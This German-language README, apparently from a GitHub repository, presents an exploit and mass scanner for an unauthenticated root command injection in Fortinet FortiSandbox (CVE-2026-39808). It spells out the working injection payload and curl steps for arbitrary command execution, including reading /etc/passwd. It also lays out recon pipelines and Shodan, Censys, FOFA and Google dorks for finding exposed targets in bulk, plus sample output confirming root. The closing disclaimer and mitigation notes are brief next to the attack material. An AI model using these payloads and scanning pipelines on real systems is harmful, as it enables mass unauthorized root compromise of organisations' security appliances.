
Nicht authentifizierter RCE-Scanner für FortiSandbox CVE-2026-39808 mit Canary-basierter Verifizierung, Befehlsausführung und Pipeline-Integration für Massen-Scans.
Nicht authentifizierte OS-Befehlsinjektion als root in Fortinet FortiSandbox
Schwachstelle • Installation • Verwendung • Funktionsweise • Pipeline • Shodan-Dorks • Haftungsausschluss
CVE-2026-39808 ist eine kritische, nicht authentifizierte OS-Befehlsinjektions-Schwachstelle in Fortinet FortiSandbox. Der API-Endpunkt /fortisandbox/job-detail/tracer-behavior bereinigt den Parameter jid nicht ausreichend, sodass ein Angreifer beliebige OS-Befehle injizieren kann, die als root ausgeführt werden — ohne jegliche Authentifizierung.
Der Parameter jid im tracer-behavior-Endpunkt wird ohne Bereinigung direkt an einen Systembefehl übergeben. Mithilfe von Pipe-Zeichen (|) kann ein Angreifer aus dem vorgesehenen Befehlskontext ausbrechen und beliebige Befehle ausführen:
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
Die Ausgabe wird in /web/ng/out.txt geschrieben, das auf dem Webserver unter /ng/out.txt erreichbar ist — ein praktischer Rücklesemechanismus für blinde Befehlsinjektion.
Keine Abhängigkeiten. Nur Python-3.7+-Standardbibliothek.
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# Prüfen, ob ein Ziel verwundbar ist (verwendet Canary-basierte Erkennung)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# Einen bestimmten Befehl auf dem Ziel ausführen
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# Nur prüfen, ob verwundbar, --cmd nicht ausführen
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# Aus einer URL-Liste
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → Scanner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → Scanner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL Ziel-URL
--stdin URLs von stdin lesen (Pipeline-Modus)
--cmd CMD Auszuführender OS-Befehl (Standard: id)
--verify-only Nur Schwachstelle verifizieren, --cmd nicht ausführen
--proxy PROXY HTTP-Proxy (z. B. http://127.0.0.1:8080)
--timeout TIMEOUT HTTP-Timeout in Sekunden (Standard: 15)
--rate-limit RATE_LIMIT Verzögerung zwischen Zielen in ms (Standard: 0)
-o, --output FILE JSON-Berichtsdatei ausgeben
--no-banner Banner unterdrücken
Der Scanner verwendet einen 5-stufigen Verifizierungsprozess mit strenger Vermeidung von Fehlalarmen:
Schritt 1 → FortiSandbox erkennen (Titel/Header-Fingerprint)
Schritt 2 → Prüfen, ob der verwundbare Endpunkt existiert
Schritt 3 → Eindeutige Canary-Zeichenkette per Befehlsinjektion injizieren
Schritt 4 → /ng/out.txt lesen und Canary verifizieren (strikte Klartext-Validierung)
Schritt 5 → Benutzerbefehl ausführen + Bereinigung
Der Scanner implementiert mehrere Validierungsebenen, um Fehlalarme zu eliminieren:
text/html seinid-Ausgabe-Regex — Strikte uid=\d+(\w+)-Mustererkennung mit Größenprüfung (<1000 Bytes)/ng-Suffix, um Doppelpfad-Probleme zu vermeiden ╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Unauthenticated Command Injection (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Target: https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detected!
▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
▸ Endpoint status: 200 | Content-Type: text/html
▸ Injecting canary: mitsec_a8k3m2x1
▸ Reading output: https://fortisandbox.example.com/ng/out.txt
CRITICAL 🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!
CRITICAL Target: https://fortisandbox.example.com
✓ Canary 'mitsec_a8k3m2x1' verified in output (clean plain text)
──────────────────────────────────────────────────────────
Command Output: id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ Output file cleaned up
┌──────────────────────────────────────────────────────────┐
│ Target: https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detected!
▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
✗ Endpoint returned 404 — not vulnerable or patched
▸ Reading output: https://target.com/ng/out.txt
⚠ Output URL returns HTML page — this is the Angular SPA, NOT command output
▸ Content-Type: text/html
▸ This is a false positive — /ng/out.txt serves the SPA index.html
▸ Target does not appear vulnerable
{
"scanner": "fortisandbox_rce",
"version": "1.0",
"cve": "CVE-2026-39808",
"scan_date": "2026-04-22T10:30:00+00:00",
"total_targets": 5,
"vulnerable": 1,
"results": [
{
"target": "https://fortisandbox.example.com",
"vulnerable": true,
"details": {
"is_fortisandbox": true,
"server": "Apache",
"canary": "mitsec_a8k3m2x1",
"verification": "canary_match",
"command": "id",
"output": "uid=0(root) gid=0(root) groups=0(root)"
},
"timestamp": "2026-04-22T10:30:00+00:00"
}
]
}
Der Scanner gibt verwundbare URLs auf stdout aus (alle anderen Ausgaben gehen an stderr), wodurch er vollständig pipeline-kompatibel ist:
# Verwundbare Ziele finden und speichern
subfinder -d corp.com -silent | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
tee vulnerable_fortisandbox.txt
# Mit nuclei für weitere Tests verketten
cat vulnerable_fortisandbox.txt | nuclei -t cves/
# Stiller Massen-Scan mit Ratenbegrenzung
cat shodan_results.txt | \
python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778
Censys:
services.http.response.html_title:"FortiSandbox"
FOFA:
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"
Google-Dork:
intitle:"FortiSandbox - Please login"
Wenn Sie die Verifizierung manuell mit curl bevorzugen:
# Schritt 1: Befehl injizieren
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
--data-urlencode "jid=|(id > /web/ng/out.txt)|"
# Schritt 2: Ausgabe lesen
curl -s -k "https://TARGET/ng/out.txt"
# Erwartet: uid=0(root) gid=0(root) groups=0(root)
/fortisandbox/job-detail/-Endpunkte zu blockierenjid-Parameterwerte mit Pipe-Zeichen überwachen| Datum | Ereignis |
|---|---|
| November 2025 | Schwachstelle entdeckt |
| April 2026 | CVE-2026-39808 veröffentlicht |
| April 2026 | In FortiSandbox 4.4.9 behoben |
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Holen Sie stets eine ordnungsgemäße schriftliche Genehmigung ein, bevor Sie testen. Der Autor übernimmt keine Haftung für Missbrauch dieses Tools.
mitsec — @ynsmroztas
Wenn Ihnen dieses Tool geholfen hat, geben Sie ihm gerne einen ⭐
| Detail | Wert |
|---|
| CVE-ID | CVE-2026-39808 |
| CVSS-Score | 9.8 (Kritisch) |
| Angriffsvektor | Netzwerk |
| Authentifizierung | Keine |
| Berechtigungen | Root |
| Betroffene Versionen | FortiSandbox < 4.4.9 |
| Behoben in | 4.4.9 und höher |
| Advisory | FG-IR-25-325 |